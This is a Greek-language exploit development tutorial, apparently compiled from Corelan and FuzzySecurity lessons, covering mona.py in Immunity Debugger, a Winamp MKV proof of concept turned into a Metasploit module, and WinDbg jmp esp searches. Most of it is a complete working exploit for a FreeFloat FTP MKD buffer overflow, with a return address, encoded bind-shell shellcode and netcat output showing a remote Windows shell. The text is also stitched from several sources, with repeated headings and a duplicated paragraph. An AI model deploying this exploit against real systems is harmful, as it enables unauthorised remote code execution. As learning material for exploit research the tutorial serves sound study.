Άνοιξε τον Immunity Debugger και πάτα !mona(στην γραμμή εντολών στο κάτω μέρος) και μετα πάτα ALT+L και θα πάρεις μια γεμάτη σελίδα με πληροφορίες για την mona.
Επίσης εάν θέλεις πληροφορίες για την εντολή "assemble" πληκτρολογείς: !mona help assemble και έχεις ότι πληροφορία θα ήθελες για την εντολή αυτή.
Ρυθμίζοντας το περιβάλλον εργασίας σου
Η Μόνα σου επιτρέπει να αποθηκεύσεις το αποτέλεσμα σε συγκεκριμένο φάκελο. Για να ενεργοποιήσεις αυτή την λειτουργία, θα χρειαστείς να πληκτρολογήσεις:
!mona config -set workingfolder c:\logs\%p
Παρακάτω θα δούμε μερικές από τις πιο σημαντικές εντολές της Mona:
findmsp
Η εντολή findmsp θα βρει όλα τα παραδείγματα ή τις σχετικές αναφορές σ' ένα κυκλικό πρότυπο σε μνήμη, μητρώα, κλπ
Αυτή η εντολή έχει μια σημαντική προϋπόθεση: Πρέπει να χρησιμοποιείς κυκλικό πρότυπο για να πυροδοτήσεις το σπάσιμο στην εφαρμογή.
Όταν γίνει στο σπάσιμο, απλά τρέξε το findmsp και θα λάβεις τις σχετικές πληροφορίες:
Τόποι που μπορούμε να βρούμε αυτά τα κυκλικά πρότυπα και πόσο μεγάλα είναι
Επεξεργαστές που έχουν γραφτεί με 4 Bytes του προτύπου και το offset για να ξαναγραφεί το μητρώο.
Δείκτες, SEH,μέρη του κυκλικού προτύπου στο stack κλπ
Σε όλες τις περιπτώσεις findmsp θα ψάξει για έναν φυσιολογικό pattern,uppercase, lowercase κλπ.
jmp
Αυτή η εντολή θα ψάξει για δείκτες που θα οδηγήσουν στην εκτέλεση του κώδικα .
pattern_create
Αυτή η εντολή θα παράγει ένα πρότυπο(metasploit pattern) συγκεκριμένου μεγέθους και θα το γράψει στο patern.txt
skeleton
Aυτή η εντολή σου επιτρέπει να δημιουργήσεις "έναν" άδειο σκελετό metasploit module για έναν συγκεκριμένο τύπο exploit(fileformat,tcp, udp) χρησιμοποιώντας ένα πρότυπο για payload. Αν προσπαθείς να δημιουργήσεις ένα exploit από την αρχή αυτό είναι ένα καλό ξεκίνημα.Το αποτέλεσμα θα γράφεται στο msfskeleton.rb
STANDALONE EXPLOITS SUCKS!
To να κάνεις ένα exploit γραμμένο σε python έχει πολλά μειονεκτήματα και ακόμα περισσότερες δυσλειτουργίες από ένα exploit γραμμένο σε ruby, το οποίο κινείται στο framework του metasploit.
Αν φτιάξεις όμως exploits για το metasploit έχει οφέλη από άποψη:1) χρόνου, 2)ασύγκριτα payloads,3) exploits γραμμένα σε μια παγκόσμια γλώσσα σε ένα framework(metasploit),4)βοηθάς την κοινότητα να αναπτυχθεί και φυσικά...ΜΕΤΕRPRETER!(Ένα απίστευτο εργαλείο το οποίο θα έχει την τιμητική του σε επόμενα άρθρα)
Η Corelan Team γι'αυτόν τον σκοπό δημιούργησε το mona.py το οποίο έχει python εντολές για το Immunity Debugger και είναι Metasploit Friendly.
Το να αποκτήσουμε την αγαπημένη μας Μόνα έχουμε να κάνουμε τα εξής:
1)Κατεβάζουμε τον Immunity Debugger
2)Κατεβάζουμε την mona.py και την αποθηκεύουμε στον φάκελο PyCommands, ο οποίος είναι μέσα στους φακέλους, του Immunity Debugger.
3)Ανοίγουμε τον Immunity Debugger και πατάμε στην γραμμή εντολών στο κάτω μέρος !mona.
4)Τρέχουμε !mona update για να σιγουρευτούμε ότι τρέχουμε την σωστή έκδοση.
Πρίν να τρέξουμε την Μόνα θα πρέπει να σιγουρέψουμε ότι το αποτέλεσμα των εργασιών είναι γραμμένο και ταξινομημένο σε έναν υποφάκελο ο οποίος θα έχει το όνομα των εργασιών μας, χωρίς να πρέπει να ανησυχούμε εάν ξαναγράψαμε προηγούμενο output. Οπότε πληκτρολογούμε:
!mona config -set workingfolder c:\logs\%p
(To % θα αντικατασταθεί από το όνομα της διαδικασίας.Μπορείς επίσης να χρησιμοποιήσεις %i το οποίο θα αντικατασταθεί με την ταυτότητα της διαδικασίας)
Σ αυτό το άρθρο θα εισάγω έναν αριθμό από εντολές οι οποίες υπάρχουν στην mona.py, με σκοπό να γράψουμε exploit για το Metasploit.
POC φάκελος σε Metasploit module
Σ΄ένα τυπικό exploit ξεκινάμε συνήθως με το να θέτουμε σε ενέργεια μια ευπάθεια του προγράμματος. Θα χρησιμοποιήσουμε ένα υπάρχον POC για να δείξουμε πως λειτουργεί η Mona.py μ'αυτό.Κατεβάζουμε τον zip φάκελο από http://www.exploit-db.com/exploits/15248/.Ο φάκελος περιέχει μερικούς άλλους φακέλους.Θα βασίσουμε το παράδειγμα μας στο poc που πραγματοποιεί ένα Integer Overflow στο in_mkv.Kάντε extract τον φάκελο και τοποθετήστε τον στο c:\poc.
Aνοίγοντας τον φάκελο winamp_1a_1.mkv πραγματοποιείται διακοπή λειτουργίας στο μολυσμένο Winamp.
Aντί να προσπαθούμε να αναπαράγουμε τον φάκελο αυτό σε Python Script, θα χρησιμοποιήσουμε την Mona.py για να μετατρέψουμε τον φάκελο αυτό σε Metasploit module ευθύς αμέσως. Για να το κάνουμε αυτό θα πούμε στην mona.py να διαβάσει τον φάκελο mkv και να τον μετατρέψει σε ruby statements.Oπότε πληκτρολογούμε:
!mona header -f "c:\poc\winamp_1a_1.mkv"
Aυτή η εντολή θα διαβάσει όλα τα bytes απο τον φάκελο και θα δημιουργήσει κάποια ruby statements. Σ'αυτήν την περίπτωση το αποτέλεσμα θα είναι γραμμένο ως header.text στο c:\logs\_no_name και θα είναι κάπως έτσι:
header = "\x1a"
header << "E"
header << "\xdf\xa3\x09"
header << "\xff" * 4
header << "B"
header << "\x82\x08"
header << "\xff" * 4
header << "a" * 16344
Μπορούμε να δούμε την τελευταία γραμμή.16344 a...Aυτό μπορεί να είναι ένδειξη για το ποιό σημείο του φακέλου είναι υπεύθυνο για την πυροδότηση του προβλήματος. Πρίν το δοκιμάσουμε θα προσθέσουμε μερικές γραμμές του κώδικα σε ruby μέσα σ'ενα Metasploit module.Βασικά προσθέσαμε τον header και αντικαταστήσαμε την τελευταία γραμμή με έναν 16344 byte cyclic pattern. Αποθήκευσε τον φάκελο και φόρτωσε τον στo msfconsole
Η Mona.py μας βοηθάει έναν εύκολο τρόπο να δημιουργήσουμε έναν σκελετό Metasploit Module.Στον Immunity Debugger τρέχουμε:
!mona skeleton
H Mονα θα σου κάνει δύο απλές ερωτήσεις:
1.Select msf exploit skeleton:επέλεξε 'fileformat'
2.File Extension:mkv
To αποτέλεσμα αποθηκεύτηκε σαν msfskeleton.rb στο c:\logs\_no_name. Αντέγραψε τον φάκελο στο Μetasploit Framework.
Ψάξε στον κώδικα σου το "def exploit" και θα δείς κάτι σαν κι αυτό:
def exploit
buffer =Rex::Text.pattern_create(5000)
file_create(buffer)
end
Αν είσαι εξοικειωμένος στο να γράφεις Metasploit modules, θα ξέρεις ότι αυτή είναι λειτουργία που καλείται όταν έχεις να κάνεις με μία exploit εντολή για την msfconsole.Η Μόνα έχει δημιουργήσει έναν φάκελο που παράγει έναν άλλον φάκελο, ο οποίος περιέχει 5000 cyclic patterns.Θα πάρουμε το πλεονέκτημα του δείγματος κώδικα και θα προσθέσουμε τον "header" σ'αυτό το module. Θα το αλλάξουμε λίγο και θα είναι κάπως έτσι:
def exploit
header = "\x1a"
header << "E"
header << "\xdf\xa3\x09"
header << "\xff" * 4
header << "B"
header << "\x82\x08"
header << "\xff" * 4
trigger = Rex::Text.pattern_create(16344)
buffer = header + trigger
file_create(buffer)
end
Βασικά προσθέσαμε τον header και αντικαταστήσαμε την τελευταία γραμμή με έναν 16344 byte cyclic pattern. Αποθήκευσε τον φάκελο και φόρτωσε τον στo msfconsole
Σ' αυτό το exploit θα ξεκινήσουμε με το πιο απλό και ευθύ σενάριο στο οποίο έχουμε μια καθαρή επανεγγραφή της EIP κ ένα από τα μητρώα της CPU θα δείχνουν κατευθείαν σ'εναν μεγάλο χώρο του Buffer μας. Θα δημιουργήσουμε ένα exploit από την αρχή για το FreeFloat FTP. Mπορείτε να βρείτε πολλά exploits που έχουν γραφεί γι' αυτό το πρόγραμμα εδώ.
Κανονικά γίνεται ανάλυση για τους λεγόμενους bad characters αλλά σ'αυτό το tutorial θα βασιστούμε στους badharacters που είναι καταγεγραμμένοι στο ήδη υπάρχον exploit. Οι χαρακτήρες είναι ”\x00\x0A\x0D”. Κρατάμε τους χαρακτήρες για αργότερα.
Exploit Development: Backtrack 5
Debugging Machine: Windows XP PRO SP3
Vulnerable Software: Download
Exploit Development: Backtrack 5
Debugging Machine: Windows XP PRO SP3
Vulnerable Software: Download
Πρώτα απ'όλα χρειάζεται να δημιουργήσουμε έναν POC(Proof Of Concept) σκελετό του exploit για να κρασάρουμε τον FTP σέρβερ.
#!/usr/bin/python
import socket
import sys
evil = "A"*1000
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close
Οπότε όταν ανοίξουμε το πρόγραμμα μας(FTP server) και στείλουμε το POC buffer το πρόγραμμα σταματάει. Θα μπορέσουμε να δούμε ότι η ΕΙΡ είναι γραμμένη και οτι δύο registers(ESP και EDI) περιέχουν μέρος του buffer μας. Αφού αναλύσουμε τα registers dumps η ESP δείχνει πιο υποσχώμενη απο την στιγμή που περιέχει μεγαλύτερο κομμάτι του buffer μας.
Ξαναγράφοντας την ΕΙΡ
Τώρα χρειάζεται να αναλύσουμε την κατάσταση ώστε να αντικαταστήσουμε τα Α με τον metasploit pattern και να ξαναστείλουμε τον buffer μας. Να δοθεί μεγάλη προσοχή ώστε να κρατηθεί το αυθεντικό μέγεθος του buffer καθώς μια αλλαγή μπορεί να αλλάξει την συμπεριφορά του προγράμματος.
root@bt:~/Desktop# cd /pentest/exploits/framework/tools/
root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A
d5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah
0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5
Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0A
o1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar
6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6A
y7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc
2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7
Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
Όταν το πρόγραμμα κρασάρει ξανά βλέπουμε το ίδιο ότι και πριν εκτός απο το οτι η ΕΙΡ και οι άλλοι δυο registers που είδαμε πιο πάνω έχουν ξαναγραφεί με κομμάτι του metasploit pattern.Tώρα ήρθε καιρός να αφήσουμε την "mona" να κάνει την δουλειά της στον Immunity Debugger.
!mona jmp -r esp
Όπως θα δείτε οι καταχωρητές ανήκουν σε dll's του του λειτουργικού συστήματος και μπορούμε να χρησιμοποιήσουμε και τον πρώτο καταχωρητή της λίστας.
Να έχετε στο μυαλό σας οτι θα χρειαστεί να αναποδογυρίσουμε την σειρά των Bytes λόγω του Little Indian.
Oπότε έχουμε αυτόν τον pointer απο το Immunity debbuger
Pointer: 0x77c35459 : push esp # ret | {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5701 (C:\WINDOWS\system32\msvcrt.dll)
και μετατρέπουμε τα Bytes του έτσι:
Buffer: evil = "A"*247 + "\x59\x54\xC3\x77" + "C"*749
Το τελικό στάδιο του POC θα είναι έτσι:
#!/usr/bin/python
import socket
import sys
#------------------------------------------------------------
# Badchars: \x00\x0A\x0D
# 0x77c35459 : push esp # ret | msvcrt.dll
#------------------------------------------------------------
evil = "A"*247 + "\x59\x54\xC3\x77" + "C"*749
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close
Ας ξαναξεκινήσουμε το πρόγραμμα στον debugger και θα δούμε οτι η ΕΙΡ έχει ξαναγραφεί με τον pointer μας και πατάμε το σημείο διακοπής(break point) που θα μας πάει στο Buffer μας που είναι στην ESP
Shellcode και τέλος παιχνιδιού
Είμαστε σχεδόν έτοιμοι.Χρειαζόμαστε(1) να μετατρέψουμε το POC και να προσθέσουμε μια μεταβλητή για τον shellcode μας (2) και να προσθέσουμε έναν Payload για να μας συνδέει.
Θα προσθέσουμε το payload στο κομμάτι του Buffer που έχει τα C.Ιδανικά θα θέλαμε να τροποποιείται το μέγεθος του buffer δυναμικά ώστε να μην χρειάζεται να αλλάζουμε το μέγεθος του Payload και πρέπει να προσθέσουμε μερικά ΝΟΡ(No operation perfomed= \x90) πριν εκτελεσθεί το payload.
#!/usr/bin/python
import socket
import sys
shellcode = (
)
#------------------------------------------------------------
# Badchars: \x00\x0A\x0D
# 0x77c35459 : push esp # ret | msvcrt.dll
#------------------------------------------------------------
buffer = "\x90"*20 + shellcode
evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close
Το μόνο που μένει είναι να τοποθετήσουμε τον shellcode. Θα χρησιμοποιήσουμε msfpayload για να δημιουργήσει τον shellcode μας και αργότερα το msfencode για να φιλτράρει τους badcharacters.
root@bt:~# msfpayload -l
[...snip...]
windows/shell/reverse_tcp_dns Connect back to the attacker, Spawn a piped command shell (staged)
windows/shell_bind_tcp Listen for a connection and spawn a command shell
windows/shell_bind_tcp_xpfw Disable the Windows ICF, then listen for a connection and spawn a
command shell
[...snip...]
root@bt:~# msfpayload windows/shell_bind_tcp O
Name: Windows Command Shell, Bind TCP Inline
Module: payload/windows/shell_bind_tcp
Version: 8642
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 341
Rank: Normal
Provided by:
vlad902 <vlad902@gmail.com>
sf <stephen_fewer@harmonysecurity.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LPORT 4444 yes The listen port
RHOST no The target address
Description:
Listen for a connection and spawn a command shell
root@bt:~# msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -b '\x00\x0A\x0D' -t c
[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)
unsigned char buf[] =
"\xdb\xd0\xbb\x36\xcc\x70\x15\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x22\x2e\x85\xe9\xa2\x27"
"\x66\x12\x32\x58\xee\xf7\x03\x4a\x94\x7c\x31\x5a\xde\xd1\xb9"
"\x11\xb2\xc1\x4a\x57\x1b\xe5\xfb\xd2\x7d\xc8\xfc\xd2\x41\x86"
"\x3e\x74\x3e\xd5\x12\x56\x7f\x16\x67\x97\xb8\x4b\x87\xc5\x11"
"\x07\x35\xfa\x16\x55\x85\xfb\xf8\xd1\xb5\x83\x7d\x25\x41\x3e"
"\x7f\x76\xf9\x35\x37\x6e\x72\x11\xe8\x8f\x57\x41\xd4\xc6\xdc"
"\xb2\xae\xd8\x34\x8b\x4f\xeb\x78\x40\x6e\xc3\x75\x98\xb6\xe4"
"\x65\xef\xcc\x16\x18\xe8\x16\x64\xc6\x7d\x8b\xce\x8d\x26\x6f"
"\xee\x42\xb0\xe4\xfc\x2f\xb6\xa3\xe0\xae\x1b\xd8\x1d\x3b\x9a"
"\x0f\x94\x7f\xb9\x8b\xfc\x24\xa0\x8a\x58\x8b\xdd\xcd\x05\x74"
"\x78\x85\xa4\x61\xfa\xc4\xa0\x46\x31\xf7\x30\xc0\x42\x84\x02"
"\x4f\xf9\x02\x2f\x18\x27\xd4\x50\x33\x9f\x4a\xaf\xbb\xe0\x43"
"\x74\xef\xb0\xfb\x5d\x8f\x5a\xfc\x62\x5a\xcc\xac\xcc\x34\xad"
"\x1c\xad\xe4\x45\x77\x22\xdb\x76\x78\xe8\x6a\xb1\xb6\xc8\x3f"
"\x56\xbb\xee\x98\xa2\x32\x08\x8c\xba\x12\x82\x38\x79\x41\x1b"
"\xdf\x82\xa3\x37\x48\x15\xfb\x51\x4e\x1a\xfc\x77\xfd\xb7\x54"
"\x10\x75\xd4\x60\x01\x8a\xf1\xc0\x48\xb3\x92\x9b\x24\x76\x02"
"\x9b\x6c\xe0\xa7\x0e\xeb\xf0\xae\x32\xa4\xa7\xe7\x85\xbd\x2d"
"\x1a\xbf\x17\x53\xe7\x59\x5f\xd7\x3c\x9a\x5e\xd6\xb1\xa6\x44"
"\xc8\x0f\x26\xc1\xbc\xdf\x71\x9f\x6a\xa6\x2b\x51\xc4\x70\x87"
"\x3b\x80\x05\xeb\xfb\xd6\x09\x26\x8a\x36\xbb\x9f\xcb\x49\x74"
"\x48\xdc\x32\x68\xe8\x23\xe9\x28\x18\x6e\xb3\x19\xb1\x37\x26"
"\x18\xdc\xc7\x9d\x5f\xd9\x4b\x17\x20\x1e\x53\x52\x25\x5a\xd3"
"\x8f\x57\xf3\xb6\xaf\xc4\xf4\x92";
Το exploit μας είναι έτοιμο
#----------------------------------------------------------------------------------#
# Exploit: FreeFloat FTP (MKD BOF) #
# OS: WinXP PRO SP3 #
# Author: b33f (Ruben Boonen) #
# Software: http://www.freefloat.com/software/freefloatftpserver.zip #
#----------------------------------------------------------------------------------#
# This exploit was created for Part 2 of my Exploit Development tutorial series... #
# http://www.fuzzysecurity.com/tutorials/expDev/2.html #
#----------------------------------------------------------------------------------#
# root@bt:~/Desktop# nc -nv 192.168.111.128 9988 #
# (UNKNOWN) [192.168.111.128] 9988 (?) open #
# Microsoft Windows XP [Version 5.1.2600] #
# (C) Copyright 1985-2001 Microsoft Corp. #
# #
# C:\Documents and Settings\Administrator\Desktop> #
#----------------------------------------------------------------------------------#
import socket
import sys
#----------------------------------------------------------------------------------#
# msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -b '\x00\x0A\x0D' -t c #
# [*] x86/shikata_ga_nai succeeded with size 368 (iteration=1) #
#----------------------------------------------------------------------------------#
shellcode = (
"\xdb\xd0\xbb\x36\xcc\x70\x15\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x22\x2e\x85\xe9\xa2\x27"
"\x66\x12\x32\x58\xee\xf7\x03\x4a\x94\x7c\x31\x5a\xde\xd1\xb9"
"\x11\xb2\xc1\x4a\x57\x1b\xe5\xfb\xd2\x7d\xc8\xfc\xd2\x41\x86"
"\x3e\x74\x3e\xd5\x12\x56\x7f\x16\x67\x97\xb8\x4b\x87\xc5\x11"
"\x07\x35\xfa\x16\x55\x85\xfb\xf8\xd1\xb5\x83\x7d\x25\x41\x3e"
"\x7f\x76\xf9\x35\x37\x6e\x72\x11\xe8\x8f\x57\x41\xd4\xc6\xdc"
"\xb2\xae\xd8\x34\x8b\x4f\xeb\x78\x40\x6e\xc3\x75\x98\xb6\xe4"
"\x65\xef\xcc\x16\x18\xe8\x16\x64\xc6\x7d\x8b\xce\x8d\x26\x6f"
"\xee\x42\xb0\xe4\xfc\x2f\xb6\xa3\xe0\xae\x1b\xd8\x1d\x3b\x9a"
"\x0f\x94\x7f\xb9\x8b\xfc\x24\xa0\x8a\x58\x8b\xdd\xcd\x05\x74"
"\x78\x85\xa4\x61\xfa\xc4\xa0\x46\x31\xf7\x30\xc0\x42\x84\x02"
"\x4f\xf9\x02\x2f\x18\x27\xd4\x50\x33\x9f\x4a\xaf\xbb\xe0\x43"
"\x74\xef\xb0\xfb\x5d\x8f\x5a\xfc\x62\x5a\xcc\xac\xcc\x34\xad"
"\x1c\xad\xe4\x45\x77\x22\xdb\x76\x78\xe8\x6a\xb1\xb6\xc8\x3f"
"\x56\xbb\xee\x98\xa2\x32\x08\x8c\xba\x12\x82\x38\x79\x41\x1b"
"\xdf\x82\xa3\x37\x48\x15\xfb\x51\x4e\x1a\xfc\x77\xfd\xb7\x54"
"\x10\x75\xd4\x60\x01\x8a\xf1\xc0\x48\xb3\x92\x9b\x24\x76\x02"
"\x9b\x6c\xe0\xa7\x0e\xeb\xf0\xae\x32\xa4\xa7\xe7\x85\xbd\x2d"
"\x1a\xbf\x17\x53\xe7\x59\x5f\xd7\x3c\x9a\x5e\xd6\xb1\xa6\x44"
"\xc8\x0f\x26\xc1\xbc\xdf\x71\x9f\x6a\xa6\x2b\x51\xc4\x70\x87"
"\x3b\x80\x05\xeb\xfb\xd6\x09\x26\x8a\x36\xbb\x9f\xcb\x49\x74"
"\x48\xdc\x32\x68\xe8\x23\xe9\x28\x18\x6e\xb3\x19\xb1\x37\x26"
"\x18\xdc\xc7\x9d\x5f\xd9\x4b\x17\x20\x1e\x53\x52\x25\x5a\xd3"
"\x8f\x57\xf3\xb6\xaf\xc4\xf4\x92")
#----------------------------------------------------------------------------------#
# Badchars: \x00\x0A\x0D #
# 0x77c35459 : push esp # ret | msvcrt.dll #
# shellcode at ESP => space 749-bytes #
#----------------------------------------------------------------------------------#
buffer = "\x90"*20 + shellcode
evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close
Στον terminal πατάμε τις εντολές ώστε να συνδεθούμε με το bind shell μας:
root@bt:~/Desktop# nc -nv 192.168.111.128 9988
(UNKNOWN) [192.168.111.128] 9988 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . : 192.168.111.128
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
C:\Documents and Settings\Administrator\Desktop> GAME OVER
www.fuzzysecurity.com
EXPLOIT DEVELOPMENT#3 ΚΑΙ ΤΕΛΕΥΤΑΙΟ ΜΕΡΟΣ(Corelan Team)
Μεταπήδηση στον ShellC0de
Μπορέσαμε να τοποθετήσουμε τον shellcode ακριβώς εκεί που δείχνει η ESP(ή αν το δείς απο διαφορετική οπτική γωνία, η ESP δείχνει ακριβώς στην αρχή του shellcode μας).
Η αιτία που θέλαμε να ξαναγράψουμε την ΕΙΡ με την διεύθυνση της ESP ήταν γιατί θέλαμε η εφαρμογή να μεταπηδήσει στην ESP και να τρέξει τον shellcode μας.
Η μεταπήδηση στην ESP είναι κάτι πολύ συνηθισμένο στις εφαρμογές windows. Στην πραγματικότητα οι windows εφαρμογές χρησιμοποιούν ένα ή περισσότερα dll και αυτά τα dll περιέχουν πολλές εφαρμογές κώδικα.Οι διευθύνσεισ που χρησιμοποιούνται απο αυτά τα dll είναι πολύ στατικές οπότε εάν μπορούμε να βρούμε ένα dll που περιέχει (to jump to esp) και ξαναγράψουμε την ΕΙΡ με αυτό το dll θα δουλέψει.
Πρώτα όμως πρέπει να βρούμε που γράφει jump to esp.Mπορούμε να το βρούμε αυτό με το να φορτώσουμε το Easy RM to MP3, μετά να να ανοίξουμε το windbg και να ενώσουμε αυτά τα δύο μαζί(Απλά συνδέστε το με την όλη διαδικασία δεν κάνουμε τπτ στο RM to MP3).Αυτό μας οδηγεί να δούμε όλα τα dll/modules που είναι φορτωμένα στην εφαρμογή.
Όταν σταματήσει η εφαρμογή στο windbg στο κάτω μέρος της οθόνης πίεσε a(assemble) και μετά return .Τώρα πάτα jmp esp και μετά return.
Πάτα return ξανά και u(unassemble) το οποίο ακολυθείται απ την διεύθυνση πριν μπούμε στο jmp esp
0:014> u 7c90120e
ntdll!DbgBreakPoint:
7c90120e ffe4 jmp esp
7c901210 8bff mov edi,edi
ntdll!DbgUserBreakPoint:
7c901212 cc int 3
7c901213 c3 ret
7c901214 8bff mov edi,edi
7c901216 8b442404 mov eax,dword ptr [esp+4]
7c90121a cc int 3
7c90121b c20400 ret 4
Δίπλα απο το 7c90120e μπορείς να δείς το ffe4.Αυτός είναι ο κωδικός για το jmp esp.Τώρα αυτό που μένει είναι να βρούμε αυτόν τον κωδικό σ'ενα απο τα dll's.
Koίτα στην κορυφή του windbg και δες για γραμμές που περιέχουν dll που να ανήκουν στο Easy RM to MP3.
Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
Copyright (c) Microsoft Corporation. All rights reserved.
*** wait with pending attach
Symbol search path is: *** Invalid ***
****************************************************************************
* Symbol loading may be unreliable without a symbol search path. *
* Use .symfix to have the debugger choose a symbol path. *
* After setting your symbol path, use .reload to refresh symbol locations. *
****************************************************************************
Executable search path is:
ModLoad: 00400000 004be000 C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exe
ModLoad: 7c900000 7c9b2000 C:\WINDOWS\system32\ntdll.dll
ModLoad: 7c800000 7c8f6000 C:\WINDOWS\system32\kernel32.dll
ModLoad: 78050000 78120000 C:\WINDOWS\system32\WININET.dll
ModLoad: 77c10000 77c68000 C:\WINDOWS\system32\msvcrt.dll
ModLoad: 77f60000 77fd6000 C:\WINDOWS\system32\SHLWAPI.dll
ModLoad: 77dd0000 77e6b000 C:\WINDOWS\system32\ADVAPI32.dll
ModLoad: 77e70000 77f02000 C:\WINDOWS\system32\RPCRT4.dll
ModLoad: 77fe0000 77ff1000 C:\WINDOWS\system32\Secur32.dll
ModLoad: 77f10000 77f59000 C:\WINDOWS\system32\GDI32.dll
ModLoad: 7e410000 7e4a1000 C:\WINDOWS\system32\USER32.dll
ModLoad: 00330000 00339000 C:\WINDOWS\system32\Normaliz.dll
ModLoad: 78000000 78045000 C:\WINDOWS\system32\iertutil.dll
ModLoad: 77c00000 77c08000 C:\WINDOWS\system32\VERSION.dll
ModLoad: 73dd0000 73ece000 C:\WINDOWS\system32\MFC42.DLL
ModLoad: 763b0000 763f9000 C:\WINDOWS\system32\comdlg32.dll
ModLoad: 5d090000 5d12a000 C:\WINDOWS\system32\COMCTL32.dll
ModLoad: 7c9c0000 7d1d7000 C:\WINDOWS\system32\SHELL32.dll
ModLoad: 76080000 760e5000 C:\WINDOWS\system32\MSVCP60.dll
ModLoad: 76b40000 76b6d000 C:\WINDOWS\system32\WINMM.dll
ModLoad: 76390000 763ad000 C:\WINDOWS\system32\IMM32.DLL
ModLoad: 773d0000 774d3000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\comctl32.dll
ModLoad: 74720000 7476c000 C:\WINDOWS\system32\MSCTF.dll
ModLoad: 755c0000 755ee000 C:\WINDOWS\system32\msctfime.ime
ModLoad: 774e0000 7761d000 C:\WINDOWS\system32\ole32.dll
ModLoad: 10000000 10071000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll
ModLoad: 71ab0000 71ac7000 C:\WINDOWS\system32\WS2_32.dll
ModLoad: 71aa0000 71aa8000 C:\WINDOWS\system32\WS2HELP.dll
ModLoad: 00ce0000 00d7f000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll
